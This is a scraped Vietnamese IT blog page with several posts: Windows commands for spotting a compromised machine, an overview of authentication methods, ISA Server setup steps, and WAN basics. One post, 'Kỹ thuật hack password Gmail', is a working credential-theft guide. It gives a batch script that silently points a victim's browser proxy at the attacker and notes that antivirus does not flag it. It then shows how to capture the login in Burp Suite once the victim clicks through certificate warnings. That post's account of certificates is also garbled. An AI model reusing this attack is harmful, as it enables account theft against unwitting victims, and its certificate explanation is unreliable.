markdown:
[Xác định hệ thống bị tấn công bằng các lệnh Windows](https://vnquan.wordpress.com/2012/01/05/xac-d%e1%bb%8bnh-h%e1%bb%87-th%e1%bb%91ng-b%e1%bb%8b-t%e1%ba%a5n-cong-b%e1%ba%b1ng-cac-l%e1%bb%87nh-windows/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2012/01/05/xac-d%e1%bb%8bnh-h%e1%bb%87-th%e1%bb%91ng-b%e1%bb%8b-t%e1%ba%a5n-cong-b%e1%ba%b1ng-cac-l%e1%bb%87nh-windows/#respond)
Các máy tính Windows là những máy tính bị tấn công nhiều nhất. Chính vì vậy mà Microsoft đã xây dựng rất nhiều công cụ trong hệ điều hành Windows để các quản trị viên và một số người dùng có thể phân tích nhằm xác định xem máy tính của họ hiện có bị thỏa hiệp hay không. Trong hướng dẫn gồm hai phần này, phần đầu tiên chúng tôi sẽ giới thiệu cho các bạn về 5 công cụ dòng lệnh hữu dụng trong Windows để thực hiện một hành động phân tích đó.
1. WMIC
Windows Management Instrumentation Command-line (WMIC) không chỉ đơn thuần là một lệnh mà có rất nhiều tính năng khác. Công cụ này có một giao diện dòng lệnh cho Windows Management Instrumentation API bên trong Windows. WMIC cho phép quản lý người dùng truy cập các thông tin chi tiết trên máy tính Windows, gồm có các thuộc tính chi tiết của hàng ngàn các thiết lập và đối tượng. WMIC được xây dựng bên trong Windows XP Professional, Windows 2003 và Windows Vista. Để sử dụng nó, người dùng phải khởi chạy chương trình bằng cách chạy lệnh WMIC, theo sau là phần mà người dùng quan tâm (thường được gọi là các alias bên trong hệ thống). Cho ví dụ, để biết về các quá trình đang chạy trên máy tính, người dùng có thể chạy lệnh:
C:\> wmic process
Phần đầu ra của lệnh này có vẻ khá khó đọc vì định không được chỉ định. Tuy nhiên với WMIC, đầu ra mà công cụ này cung cấp được định dạng hoàn toàn khác, trong đó phần “list full” sẽ hiển thị các thông tin chi tiết cho mỗi lĩnh vực mà người dùng quan tâm, còn phần “list brief” sẽ cung cấp một dòng đầu ra cho mỗi một mục báo cáo dưới sạng danh sách các mục, chẳng hạn như các quá trình đang chạy, các chương trình tự động khởi chạy và những chia sẻ hiện hữu.
Cho ví dụ, chúng ta có thể quan sát mọi quá trình đang chạy trên máy tính bằng cách chạy lệnh:
C:\> wmic process list brief
Lệnh trên sẽ hiển thị tên, ID của quá trình và quyền ưu tiên của mỗi quá trình đang chạy cũng như các thuộc tính khác. Để nhận thêm các thông tin chi tiết hơn, chạy lệnh:
C:\> wmic process list full
Lệnh này sẽ hiển thị tất cả các thông tin chi tiết, gồm có đường dẫn của file thực thi có liên kết với quá trình và lệnh triệu gọi dòng lệnh của nó. Khi nghiên cứu một máy tính có bị tiêm nhiễm hay không, quản trị viên cần phải xem xét từng quá trình để xác định xem các quá trình này có hợp lệ trên máy tính hay không, sau đó nghiên cứu các quá trình lạ hoặc không mong đợi bằng cách sử dụng các cỗ máy tìm kiếm.
Ngoài các alias về các quá trình, người dùng có thể thay thế startup để nhận danh sách các chương trình tự động khởi chạy trên máy tính, gồm có các chương trình khởi chạy khi hệ thống khởi động hoặc người dùng đăng nhập, đây là những chương trình được định nghĩa bởi một auto-start registry key hoặc thư mục:
C:\> wmic startup list full
Rất nhiều malware có thể tự động chạy trên máy tính bằng cách thêm một mục auto-start bên cạnh các mục hợp lệ khác có bên trong các công cụ antivirus hay các chương trình system tray. Người dùng có thể quan sát các thiết lập khác trên máy tính với WMIC bằng cách thay thế “startup” bằng “QFE” (cụm chữ cái viết tắt cho Quick Fix Engineering) để thấy được mức vá của một hệ thống, bằng “share“ để xem danh sách các file chia sẻ trên Windows hoặc bằng “useraccount” để thấy được các thiết lập tài khoản chi tiết của người dùng.
Một tùy chọn khác bên trong WMIC là khả năng chạy một lệnh để thu thập thông tin trên trên một chu kỳ nào đó bằng cách sử dụng cú pháp “/every:[N]” sau phần còn lại của lệnh WMIC. [N] ở đây là một số nguyên, chỉ thị rằng WMIC sẽ chạy lệnh trên cứ [N] giây một lần. Bằng cách đó, người dùng có thể tìm kiếm các thay đổi trong các thiết lập của hệ thống theo thời gian, cho phép khảo sát một cách kỹ lưỡng đầu ra. Sử dụng chức năng này để kéo toàn bộ các thông tin về quá trình trong 5 giây một lần, người dùng có thể chạy:
C:\> wmic process list brief /every:1
Nhấn CTRL+C sẽ dừng chu kỳ.
2. Lệnh net
Giới thiệu ở trên, WMIC là một lệnh tương đối mới, tuy nhiên còn có một số lệnh khác không phải là mới nhưng khá hữu dụng đó là lệnh “net“. Các quản trị viên có thể sử dụng lệnh này để hiển thị tất cả các thông tin hữu dụng.
Cho ví dụ, lệnh “net user” sẽ hiển thị tất cả các tài khoản người dùng được định nghĩa nội bộ trên máy tính. Lệnh “net localgroup” sẽ hiển thị các nhóm, lệnh “net localgroup administrators” sẽ hiển thị thành viên của nhóm quản trị viên và lệnh “net start” hiển thị các dịch vụ đang chạy.
Các hacker thường đưa người dùng vào một hệ thống hoặc đặt các tài khoản của họ vào một nhóm quản trị viên, vì vậy chúng ta luôn phải kiểm tra đầu ra của các lệnh này để xem liệu hacker đã sửa đổi các tài khoản trên máy tính hay chưa. Thêm vào đó, một số hacker có thể tạo các dịch vụ xấu trên máy tính, vì vậy người dùng nên cần thận với chúng.
3. Openfiles
Nhiều quản trị viên Windows không quen với việc sử dụng các lệnh openfiles mạnh có trong Windows. Mặc dù vậy, như tên ngụ ý của nó, lệnh này sẽ hiển thị tất cả các file được mở trong máy tính, chỉ thị tên quá trình đang tương tác với mỗi file. Nó được xây dựng trong các phiên bản Windows đời mới, từ XP Pro đến Vista. Giống như lệnh lsof phổ biến cho Linux và Unix, nó cũng thể hiện cho các quản trị viên tất cả các file đang mở trên máy tính, cung cấp tên quá tình và đường dẫn hoàn chỉnh cho mỗi file. Tuy nhiên không giống như lsof, nó không cung cấp nhiều thông tin chi tiết, chẳng hạn như số ID của quá trình, số người dùng hoặc các thông tin khác.
Xem xét phân vùng thông tin mà nó thu thập được, bạn sẽ không hề ngạc nhiên rằng lệnh openfiles thực sự tiêu hao rất nhiều hiệu suất. Chính vì vậy, thông thường các quá trình có liên quan đến openfiles bị tắt mặc định, nghĩa là người dùng không thể kéo bất cứ dữ liệu nào từ lệnh này cho tới khi bật nó. Chức năng này có thể được kích hoạt bằng cách chạy lệnh:
C:\> openfiles /local on
Người dùng sẽ cần phải khởi động lại và khi hệ thống hoạt động trở lại, họ sẽ có thể chạy lệnh openfiles như dưới đây:
C:\> openfiles /query /v
Lệnh này sẽ hiển thị đầu ra một cách chi tiết, gồm có tài khoản người dùng mà quá trình cho một file mở đang chạy bên trong. Từ đó có thể nhận biết được malware gì đã được cài đặt, hoặc tấn công gì có thể đang được thực hiện trên máy tính, người dùng nên tìm kiếm các file dị thường hoặc các file không mong đợi, đặc biệt các file có liên quan đến những người dùng nội bộ không mong đợi trên máy tính.
Khi kết thúc với lệnh openfiles, chức năng tính toán của nó có thể được tắt bỏ và hệ thống sẽ trở lại với tình trạng hiệu suất bình thường bằng cách chạy lệnh dưới đây và khởi động lại máy tính:
C:\> openfiles /local off
4. Netstat
Lệnh netstat trong Windows có thể hiển thị hành vi mạng, tập trung vào TCP và UDP mặc định. Vì malware thường truyền thông trong toàn mạng, nên người dùng có thể tìm kiếm các kết nối không bình thường trong đầu ra của netstat, chạy lệnh dưới đây:
C:\> netstat -nao
Tùy chọn –n sẽ thông báo cho netstat hiển thị các số trong đầu ra của nó, trừ tên máy và giao thức mà thay vì đó sẽ hiển thị các địa chỉ IP và TCP hoặc số cổng UDP. –a chỉ thị hiển thị tất cả các kết nối và các cổng đang lắng nghe. Tùy chọn –o thông báo cho netstat hiển thị số processID của mỗi chương trình đang tương tác với cổng TCP hoặc UDP. Nếu thay vì TCP và UDP, bạn chỉ quan tâm đến ICMP, khi đó bạn có thể chạy lệnh netstat như dưới đây:
C:\> netstat –s –p icmp
Lệnh trên chỉ thị rằng nó sẽ trả về thống kê (-s) của giao thức ICMP. Mặc dù không thể hiện nhiều chi tiết bằng TCP và UDP nhưng người dùng có thể thấy được liệu máy tính có đang gửi lưu lượng ICMP không mong đợi trên mạng hay không. Tuy nhiên một số backdoor và một số malware khác có thể truyền thông bằng cách sử dụng tải trọng của các thư ICMP Echo.
Giống như WMIC, lệnh netstat cũng cho phép chúng ta chạy nó theo một chu kỳ lặp đi lặp lại. Tuy nhiên thay vì sử dụng cú pháp “/every:[N]” như WMIC, người dùng chỉ cần thêm sau lệnh triệu gọi netstat dấu cách và số nguyên. Như vậy, để liệt kê các cổng TCP và UDP đang sử dụng trên máy tính cứ sau 2 giây một lần, người dùng có thể chạy:
C:\> netstat –na 2
5. Find
Hầu hết các lệnh mà chúng tôi đã giới thiệu cho đến đây đều hiển thị rất nhiều đầu ra trên màn hình, điều này đôi khi làm khó người dùng trong việc quan sát toàn bộ để tìm ra một mục nào đó mà họ quan tâm. Tuy nhiên Windows có một công cụ khác có thể giúp bạn khắc phục điều này. Người dùng có thể tìm kiếm trong toàn bộ đầu ra của mỗi lệnh bằng cách sử dụng lệnh findstr và find trong Windows. Lệnh find sẽ tìm kiếm các chuỗi đơn giản, trong khi đó lệnh findstr sẽ hỗ trợ cho các từ ngữ thông thường, một cách phức tạp hơn để phân biệt các mẫu tìm kiếm. Do các từ ngữ thông thường được hỗ trợ bởi findstr vượt ra ngoài phạm vi của bài viết này, nên chúng tôi chỉ tập trung vào lệnh find. Mặc định lệnh find sẽ phân biệt giữa chữ hoa và chữ thường, tuy nhiên bằng cách sử dụng tùy chọn /i bạn có thể làm mất đi sự phân biệt này.
Lệnh find cũng có khả năng đếm. Được triệu gọi với lệnh /c, nó sẽ đếm số dòng của đầu ra gồm có chuỗi đã cho. Nếu người dùng muốn đếm số lượng dòng trong đầu ra của lệnh để biết được số lượng quá trình đang chạy, số lượng mục startup đang hiện diện, hoặc một loạt các hành động khác trên máy. Để đếm số dòng đầu ra, người dùng có thể dẫn đầu ra của họ qua find /c /v “”. Lệnh này sẽ đếm (/c) số dòng trừ dòng trống.
Lúc này, với lệnh find, người dùng có thể quan sát đầu ra của mỗi một lệnh mà chúng tôi đã giới thiệu cho đến đây để tìm ra những điều thú vị riêng. Cho ví dụ, để xem thông tin mỗi giây về các quá trình cmd.exe đang chạy trên máy tính, bạn hãy đánh:
C:\> wmic process list brief /every:1 | find “cmd.exe”
Để đếm số file mở trên máy tính khi openfiles được kích hoạt, bạn chỉ cần đánh:
C:\> openfiles /query /v | find /c /v “”
Dù có đếm các mục theo một cách nào đi nữa, các bạn cần nhớ trừ đi số dòng được liên kết với header cột. Ví dụ, để xem với độ chính xác theo mỗi giây khi cổng TCP 2222 bắt đầu được sử dụng trên máy tính, cùng với process ID đang sử dụng trên cổng, chạy:
C:\> netstat –nao 1 | find “2222″
Nghiên cứu đầu ra
Với 5 công cụ này, người dùng có thể xử lý các thông tin về cấu hình, trạng thái bảo mật của mỗi một máy tính Windows. Mặc dù vậy để sử dụng mỗi lệnh trong việc nhận diện sự thỏa hiệp, người dùng cần phải so sánh các thiết lập hiện hành củ máy tính bị nghi ngờ với máy tính bình thường.
Có ba cách có thể thiết lập sự so sánh này. Đầu tiên, nếu người dùng là một “thợ săn” malware đã có kinh nghiệm thì anh ta có thể nhận biết về những gì đúng và những gì sai với máy tính, nhận ra những vấn đề không bình thường dựa trên kinh nghiệm. Cách thứ hai, so sánh này có thể được thực hiện với một máy không bị tiêm nhiễm nếu có. Nếu không có một máy tính “sạch”, người dùng có thể dựa vào tùy cách thứ ba – tìm kiếm các file, tên quá trình, tên file và số cổng cụ thể được nhận biết bởi các lệnh này và tìm kiếm chúng online nhằm xác định xem chúng có phải là các file thông thường cho máy tính và phần mềm mà nó đã cài đặt hay có liên quan tới một số loại malware.
Trong phần này, chúng tôi đã giới thiệu cho các bạn 5 lệnh rất mạnh trong Windows. Trong phần tiếp theo của loạt bài này, chúng tôi sẽ giới thiệu tiếp cho các bạn 5 lệnh hữu dụng khác từ dòng lệnh.
Nguồn : Quản trị mạng
[Kỹ thuật hack password Gmail](https://vnquan.wordpress.com/2011/04/23/k%e1%bb%b9-thu%e1%ba%adt-hack-password-gmail/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2011/04/23/k%e1%bb%b9-thu%e1%ba%adt-hack-password-gmail/#respond)
Kỹ thuật hack password Gmail
[Trong bài viết này tôi sẽ trình bày với các bạn kỹ thuật Hack Password của Gmail hay các trang web khác xác thực một cách tương tự (SSL – Certificate – HTTPS). Đối với nguy cơ bạn có thể bị lộ Password Gmail, trong bài viết này tôi sẽ trình bày cách nhận biết và ngăn chặn nguy cơ này.](http://img169.imageshack.us/img169/1282/96746995.jpg)
I. Hiểu biết chung
Gmail hay những dịch vụ web khác thường sử dụng HTTPS để mã hóa gói tin User/Pass. Khi trình duyệt web sử dụng Certificate của Gmail cung cấp và mã hóa thì gói tin User/Pass khi đi trên mạng sẽ an toàn ở mức độ (gần như tuyệt đối).
Kẽ hở ở đây là thế nào mà lại có thể Hack được pass của những phương thức xác thực và mã hóa có tính bảo mật cao.
Quá trình xác thực bình thường khi người dùng truy cập Gmail:
Bước 1: Người dùng truy cập gmail.com
Bước 2: Gmail sẽ gửi thông tin tới Versign để lấy Certificate
Bước 3: Versign gửi lại cho Gmail Certificate bao gồm: Public Key và Private key
Bước 4: Gmail gửi lại cho người dùng Public Key để mã hóa thông tin xác thực
Bước 5: Người dùng sử dụng Public Key mã hóa gửi lên Gmail
Bước 6: Gmail sử dụng Private key để giải mã
*note: gói tin mã hóa user/pass người dùng gửi lên gmail được mã hóa bằng public key thì chỉ có private key mới giải mã dc. Trong khi đó Private key được Gmail dữ lại và không truyền trên mạng. Nên gói tin này cực kỳ bảo mật và không có khả năng giải mã
Kỹ thuật giả mạo Certifcate
Người dùng vào Gmail sẽ không đi thẳng mà đi qua một Intercepting Proxy và bị giả mạo Certificate
Bước 1: Người dùng vào Gmail
Bước 2: Khi gói tin từ người dùng vào Intercept proxy nó sẽ chỉnh sửa thông tin và gửi lên Gmail
Bước 3: Gmail gửi yêu cầu lên Versign để sinh Certificate
Bước 4: Verisign gửi Certificate về cho Gmail. Gmail dữ lại Private key và gửi cho người yêu cầu Public key
Bước 5: Gmail gửi Public key cho Intercept Proxy, Key này sẽ không được gửi cho người dùng
Bước 6: Intercept Proxy tự ra một cặp key và gửi Public key về cho người dùng
Bước 7: Người dùng sử dụng Public Key giả này do Proxy sinh ra để mã hóa user/pass và gửi lên cho proxy. Proxy do tự sinh ra cặp key nên sẽ có Private key để giải mã.
Bước 8: Sau khi giải mã được gói tin người dùng truyền lên Proxy sẽ sử dụng Public Key của Gmail gửi cho rồi mã hóa à gửi lên gmail và quá trình xác thực vẫn dc thực hiện
*Note: Khi đó nếu kẻ tấn công đứng trên con Intercept Proxy thì hoàn toàn có thể biết được User/Pass của người dùng. Người dùng không chú ý khi đi qua một Intercept proxy thì user/pass hoàn toàn có thể bị lộ, mặc dù sử dụng các phương thức xác thực rất bảo mật
II. Tools sử dụng
Burpsuite_v1.3
Link download:
[http://www.portswigger.net/suite/burpsuite_v1.3.zip](http://www.portswigger.net/suite/burpsuite_v1.3.zip)
Đây là một tools có tính năng là một Intercept Proxy
-Java (Burpsuite là file .jar chạy trên nền Java)
Link download:
[http://sun.com](http://sun.com/)
– IE, Firefox
– Tools thiết lập Proxy bằng một file
Đây là tools tôi tự viết dạng file .bat hoặc các bạn có thể chuyển file.bat sang file.exe để khi người dùng kích vào file này sẽ tự động thiết lập Proxy
– Quick_Batch_File_Compiler_3.21 là một tools chuyển file.bat à file.exe
III. Kỹ thuật lấy Password Gmail
– Cách thông thường nhất là sử dụng Keylogger nhưng cách này không sử dụng được khi có các chương trình diệt virus mạnh.
– Export thông tin từ trình duyệt web như IE, Firefox. Cách này không thực hiện được khi người dùng không lưu User/Pass trên trình duyệt
– Còn một cách đó là giả mạo Certificate và sử dụng Intercept Proxy
a. Đặt proxy cho người dùng
– Để toàn bộ nội dung người dùng truy cập web đi qua Intercept Proxy thì cần phải thiết lập proxy trên trình duyệt của người dùng
– Cách thiết lập có thể bạn thiết lập bằng tay (bằng một cách nào đó có quyền điều khiển máy tính của nạn nhân)
– Hướng người dùng chạy một file.exe mà do chúng ta viết để thiết lập proxy
********
Tạo ra một file.bat với nội dung:
Code:
echo Windows Registry Editor Version 5.00 > 1 echo [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings] >2 echo "MigrateProxy"=dword:00000001 > 3 echo "ProxyEnable"=dword:00000001 > 4 echo "ProxyHttp1.1"=dword:00000000 > 5 echo "ProxyServer"="IP:port" > 6 echo "ProxyOverride"="<local>" > 7 copy /b "1"+"2"+"3"+"4"+"5"+"6"+"7" b.reg del 1 /f /q del 2 /f /q del 3 /f /q del 4 /f /q del 5 /f /q del 6 /f /q del 7 /f /q regedit.exe /s b.reg del b.reg /f /q
Sau đó dùng tools Quick_Batch_File_Compiler_3.21 chuyển file.bat này sang file.exe
– Khi người dùng nhấn vào file này sẽ tự động thiết lập proxy cho IE với IP bạn thay bằng IP bạn cần thiết lập, Port là port của Proxy sử dụng. Điều rất hay đó là file này tất cả các chương trình diệt virus đều không coi là Virus
– Trong bài viết này tôi sử dụng một máy tính nên proxy tôi thiết lập trên trình duyệt là 127.0.0.1
Tiến hành
Bước 1: Cài đặt Java
Bước 2: Chạy Burpsuite
Bước 3: Thiết lập Proxy
Bước 4: Truy cập Gmail
Bước 5: Vào Proxy xem thông tin User/Pass
Bước 1: Cài đặt Java:
– Sau khi bạn download bộ cài Java từ trang sun.com bạn cài đặt để chuẩn bị môi trường cho các chương trình chạy trên môi trường Java
Bước 2: Chạy Burpsuite:
– Sau khi download Burpsuite tiến hành giải nén khi đến file .jar thì dừng lại
Chạy chương trình Burpsuite_v1.3 để làm Intercepting Proxy. Nhấn đúp vào file .jar giải nén từ bộ download được
Chạy chương trình Burpsuite
Mặc định chương trình này chỉ làm proxy cho chính máy chạy chương trình, để các máy khác có thể sử dụng chương trình này làm proxy phải à Vào tab proxy à chọn Options rồi có thể Edit tùy biến port sử dụng (mặc định là 8080) bỏ dấu check box “loopback only”
Chuyển sang tab Intercept để cấu hình các mode hoạt động của Intercepting proxy
– Chế độ Intercept on: đây là chế độ hoạt động. Nếu một người đặt máy tính này làm proxy thì toàn bộ quá trình truy cập ra internet đều bị proxy này quản lý. Khi một request từ trình duyệt tới Proxy, nó sẽ phát hiện nội dung có thể chỉnh sửa và forward đi thì mới tới máy chủ web
Chúng ta tắt chế đô này bằng cách nhấn vào Intercept on sẽ thành off. Mục đích khi người dùng sử dụng phần mềm này làm proxy thì vẫn có thể vào Internet bình thường. Để chế độ này chỉ để lưu lại các thông tin người dùng truy cập web
Bước 3: Đặt Proxy
– Vào IE chỉnh proxy vào địa chỉ 127.0.0.1 port 8080. IE à IE options à tab connection nhấn vào nút LAN Settings
– Hoặc chạy file.bat với nội dung như trên
Dùng tools chuyển file.bat à file.exe rồi chạy file.exe này cũng được
Bước 4: Vào Gmail qua IE (đã thiết lập Proxy)
Truy cập vào Gmail sẽ thấy thông báo Certificate lỗi nhấn continue để tiếp tục
Tiếp tục google sẽ thông báo Certificate Error bạn vẫn gõ Username password để truy cập vào Mail
Tôi vào được mail vẫn còn thông báo Certificate Error
Bước 5: Vào Proxy tìm thông tin Username và Pass
– Vào Burpsuite à Chuyển sang tab “Target” à Chọn Site Map
Lựa chọn trang web
[https://www.google.com](https://www.google.com/) à Vào mục Accounts à Vào mục ServiceLoginAuth à Nhìn chuyển sang bên phải chọn “Request” (thông tin gửi lên server) vào mục Raw chúng ta sẽ thấy thông tin Username và Password
IV. Phát hiện và bảo mật cho Account Gmail
Muốn hack password gmail kẻ tấn công phải hướng người dùng đặt Proxy đi qua một Intercept Proxy sau đó giả mạo Certificate do đó muốn phát hiện và bảo mật cho Account Gmail bạn có thể thực hiện bằng các cách:
1. Phát hiện khi vào mạng có qua một Proxy hay không
Kiểm tra bằng cách trước khi vào Internet truy cập vào mục thiết lập Proxy xem có địa chỉ nào được thiết lập hay chưa.
Cách này rất hữu ích nhưng xem ra có phần rườm rà khó thực hiện và dễ bị quên hay bỏ qua
2. Phát hiện Certificate bị giả mạo
a. Khi truy cập bình thường
+ Vào Gmail sẽ không bật ra nhưng pop-up đề xuất download Certificate
+ Nhấn chuột vào biểu tượng cục khóa à view Certifcate sẽ thấy nó được sinh ra từ Verisign
Khi truy cập đi qua một Intercept Proxy
+ Truy cập vào Gmail sẽ xuất hiện cửa sổ này thông báo Certificate của bạn đã bị lỗi có tiếp tục hay không. Nếu thấy biểu tượng này khuyến cáo người dùng không nên tiếp tục và kiểm tra lại độ an toàn của mạng và máy tính trước khi truy cập
+ Nếu người dùng tiếp tục truy cập vào trang Gmail sẽ không có biểu tượng cục khóa mà thay vào đó là biểu tượng “Certificate Error”.
+ Nhấn xem Certificate này chúng ta sẽ thấy Certificate này không phải do Verisign sinh ra
Note: Nếu người dùng thấy hai yếu tố này khuyến cáo không nên tiếp tục vào Gmail vì Username và password của bạn hoàn toàn có thể bị mất. Ngoài ra người dùng không nên lưu mật khẩu để tự động truy cập bởi khi máy tính rơi vào tay người khác thì thông tin còn lưu lại trên IE, Firefox hoàn toan có thể bị khai thác dễ dàng. Người dùng cũng nên cài đặt các chương trình diệt Virus để ngăn chặn các loại Virus, Keylogger ăn chôm mật khẩu
[Các phương thức xác thực -Authentication Methods](https://vnquan.wordpress.com/2011/01/16/cac-ph%c6%b0%c6%a1ng-th%e1%bb%a9c-xac-th%e1%bb%b1c-authentication-methods/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2011/01/16/cac-ph%c6%b0%c6%a1ng-th%e1%bb%a9c-xac-th%e1%bb%b1c-authentication-methods/#respond)
|
|Bạn đã được học về xác thực (authentication), đây là một trong 4 nhân tố chính trong bảo mật computer. Mặc dù authentication luôn có cùng một mục tiêu, nhưng có nhiều cách tiếp cận khác nhau để hoàn thành..
Trong chủ đề này, chúng ta sẽ thảo luận vài phương thức xác thực chính phổ biến hiện nay. Một số nhân tố được sử dụng chính trong xác thực chẳng hạn:
• key (khóa)
• fingerprints (vân tay)
Xác thực dựa trên User Name và Password
Dữ liệu chứa password được mã hóa gọi là password băm (hash password). Một gói băm là một loại mã hóa không có phương cách giải mã.
Ví dụ về Smart Cards
Smart cards là ví dụ điển hình về xác thực tokens- token-based authentication. Một smart card là một thẻ nhựa có gắn một chip máy tính lưu trữ các loại thông tin điện tử khác nhau. Nội dung thông tin của card được đọc với một thiết bị đặc biệt.
Biometrics (phương pháp nhận dạng sinh trắc học) mô hình xác thực dựa trên đặc điểm sinh học của từng cá nhân. Quét dấu vân tay (fingerprint scanner), quét võng mạc mắt (retinal scanner), nhận dạng giọng nói(voice-recognition), nhận dạng khuôn mặt(facerecognition).Vì nhận dạng sinh trắc học hiện rất tốn kém chi phí khi triển khai nên không được chấp nhận rộng rãi như các phương thức xác thực khác.
Multi-factor authentication, xác thực dựa trên nhiều nhân tố kết hợp, là mô hình xác thực yêu cầu kiểm ít nhất 2 nhân tố xác thực .Có thể đó là sự kết hợp của bất cứ nhân tố nào ví dụ như: bạn là ai, bạn có gì chứng minh, và bạn biết gì?.
Ví dụ: về một Multi-Factor Implementation:
Cần phải đưa thẽ nhận dạng vào đầu đọc và cho biết tiếp password là gì
Mutual authentication, xác thực lẫn nhau là kỹ thuật bảo mật mà mỗi thành phần tham gia giao tiếp với nhau kiểm tra lẫn nhau. Trước hết Server chứa tài nguyên kiểm tra “giấy phép truy cập” của client và sau đó client lại kiểm tra “giấy phép cấp
[Cấu hình ISA server 2006 sau khi cài đặt](https://vnquan.wordpress.com/2011/01/04/c%e1%ba%a5u-hinh-isa-server-2006-sau-khi-cai-d%e1%ba%b7t/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2011/01/04/c%e1%ba%a5u-hinh-isa-server-2006-sau-khi-cai-d%e1%ba%b7t/#respond)
|
|Có hang loạt các thao tác quản lý cơ bản mà bạn cần phải quan tâm ngay sau khi cài đặt ISA 2006 firewall. Các thao tác quản lý tường lửa cơ bản này thường độc lập với chính sách tường lửa bạn mà thiết lập sau này.
Bạn đang thiết lập hệ thống tường lửa Web proxy cơ bản cho phù hợp với công ty của bạn. Những thao tác sau khi cài đặt thay đổi theo loại hình cài đặt (Web proxy mode so với full firewall deployment), phiên bản ISA firewall được cài đặt (phiên bản Standard Edition hay phiên bản Enterprise Edition), và nếu Enterprise Edition thì tùy thuộc vào cấu hình Array (mảng cấu kết đơn lẻ, mảng đa cấu kết, mảng cấu kết tổ hợp nhóm làm việc, mảng cấu kết miền).
Bài viết này tiếp tục bài trước Cài đặt ISA Server 2006 Enterprise Edition trong việc cấu hình nhóm làm việc đơn lẻ cung cấp một danh sách các thao tác sau cài đặt. Mỗi quản trị ISA firewall cài đặt một mảng cấu kết đơn lẻ, Web proxy đơn lẻ tuân theo các thao tác sau:
• Sao lưu dự phòng cấu hình
• Thiết lập CSS Policy Update Interval
• Gán Array Roles
• Thiết lập Alert Definitions
• Thay đổi Column Order trong Sessions Monitor
• Thiết lập Recurring Report Jobs
• Tùy biến Reports
• Thiết lập Log Summary và Report Preferences
• Thiết lập Connectivity Monitors
• Thiết lập Firewall và Web Proxy Logging
• Tạo và xuất Frequently Used Filter Definitions
• Nhập các địa chỉ IP của Remote Management Computers
• Thiết lập Direct Access List
• Thiết lập Web Chaining Rules
• Kích hoạt và thiết lập Web Cache
• Vô hiệu hóa Unused Application và Web Filters
• Thiết lập Compression Preferences
• Chỉ rõ Certificate Revocation Settings
• Chỉ rõ Diffserv Preferences
• Xác định LDAP và RADIUS Servers
• Thiết lập Intrusion Detection và DNS Attack Detection
• Xác định IP Preferences
• Thiết lập Flood Mitigation Settings
• Hệ thống Hardening – củng cố, làm cứng (tùy chọn)
• Sao lưu dự phòng lại cấu hình
2. Nhấp chọn Next trên cửa sổ Welcome to Export Wizard.
3. Trên cửa sổ Export Preference, đánh dấu Export confidential information và Export user permissions. Nhấn enter và xác
6. Ấn Ok trong hộp thoại xác nhận để việc xuất dữ liệu đã thành công.
Để thiết lập Alert Definitions, nhấp chuột vào Monitoring nằm bên trái cửa sổ bảng điều chỉnh. Sau đó nhấp chuột chọn thẻ Alerts ở giữa cửa sổ bảng điều chỉnh. Chọn thẻ Tasks trong Task Pane rồi nhấp chuột vào Configure Alert Definitions link. Bạn sẽ thấy xuất hiện bảng giống như hình sau.
Nhấn đúp chuột vào một trong các cảnh báo và bạn sẽ thấy xuất hiện bảng giống như bảng sau. Trên thẻ General trong hộp thoại Properties của cảnh báo, bạn sẽ thấy những mô tả của cảnh báo, loại cảnh báo, và mức độ nghiêm trọng mặc định của nó. Đánh dấu chọn Enable nếu muốn kích hoạt cảnh báo.
Chọn thẻ Sessions, sau đó nhấp chuột chọn mục Add/Remove Columns.
Bạn có thể dùng phím Move Up và Move Down để thay đổi thứ tự columns (như bảng sau). Ấn OK sau khi thay đổi.
Chọn thẻ Reports ở giữa cửa sổ bảng điều khiển. Chọn thẻ Tasks trên khung Task Pane và bạn sẽ thấy xuất hiện một loạt tùy chọn có sẵn để tạo lập và thiết lập cấu hình báo cáo. Thực hiện theo các bước sau để tạo lập một recurring report job:
1. Summary Content reports
3. Application Usage reports
4. Traffic and Utilization reports
5. Security Content reports
[Các Dịch Vụ WAN Thông Dụng](https://vnquan.wordpress.com/2010/12/20/cac-d%e1%bb%8bch-v%e1%bb%a5-wan-thong-d%e1%bb%a5ng/) [Bạn nghĩ gì về bài viết này?](https://vnquan.wordpress.com/2010/12/20/cac-d%e1%bb%8bch-v%e1%bb%a5-wan-thong-d%e1%bb%a5ng/#respond) **** **1 Giới thiệu**
Ngày nay network đã trở thành một một phần trong cuộc sống hằng ngày của rất nhiều người, chúng ta (dân network) sử dụng network cho giải trí, khai thác network cho công việc, kinh doanh, kiếm tiền trên network…Chính vì sự phổ biến và phát triển rất nhanh của network làm cho chúng ta có điều kiện tiếp cận các công nghệ mới, hiện đại và giá thành rẻ hơn. Nhưng cũng chính vì vậy mà có rất nhiều khái niệm rất cơ bản về network mà chúng ta chưa hiểu rõ và đúng về nó.
Trong bài viết này em sẽ trình bày các khái niệm về dịch vụ truyền dữ liệu WAN như Internet, site-to-site, xDSL, Fiber, Leased line, VPN, Megawan. Bài viết dựa trên kiến thức hạn hẹp của em và các tài liệu tham khảo từ internet và chỉ dừng lại tại mức độ người sử dụng dịch vụ, không đi sâu vào chi tiết kỹ thuật. Tất nhiên bài viết không thể tránh khỏi các sai sót, các bác thảo luận thêm.
Bài viết có tham khảo và trích đoạn từ các site:
[http://www.vnpt.com.vn](http://www.vnpt.com.vn/) [http://vdc.com.vn](http://vdc.com.vn/) [http://www.hcmtelecom.vn](http://www.hcmtelecom.vn/) [http://vi.wikipedia.org](http://vi.wikipedia.org/) [http://www.tapchibcvt.gov.vn](http://www.tapchibcvt.gov.vn/) **2 Khái niệm LAN (Local Area Network)**
